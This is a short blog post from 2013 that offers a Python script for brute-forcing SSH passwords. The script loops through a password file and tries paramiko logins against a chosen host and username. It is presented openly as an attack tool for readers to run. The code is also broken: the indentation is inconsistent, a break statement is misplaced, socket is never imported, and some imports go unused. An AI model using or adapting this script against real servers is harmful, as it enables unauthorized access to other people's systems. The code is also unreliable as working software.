Tuesday 24 September 2013

This is the small Program for brute force the ssh open port host. Just Check it once and try it on your unix or windows operating system.....


#!/usr/bin/python
import paramiko
import itertools,string,crypt

PASSSIZE = 5
IPADDRESS = "127.0.0.1"
USERNAME = "username"
SSHPORT=22
open_file=open("passwords.txt","r")

var=open_file.read().split("\n")

try:
    for passwd in var:
        ssh = paramiko.SSHClient()
        ssh.load_system_host_keys()
        ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())

        try:
                ssh.connect(IPADDRESS , port=SSHPORT, username=USERNAME, password=passwd)
                print "Connected successfully. Password = "+passwd
        break
        except paramiko.AuthenticationException, error:
            print "Incorrect password: "+passwd
            continue
        except socket.error, error:
                print error
               continue
        except paramiko.SSHException, error:
                print error
                print "Most probably this is caused by a missing host key"
               continue
        except Exception, error:
                print "Unknown error: "+error
                continue  
        ssh.close()


except Exception,error :
    print error

No comments:

Post a Comment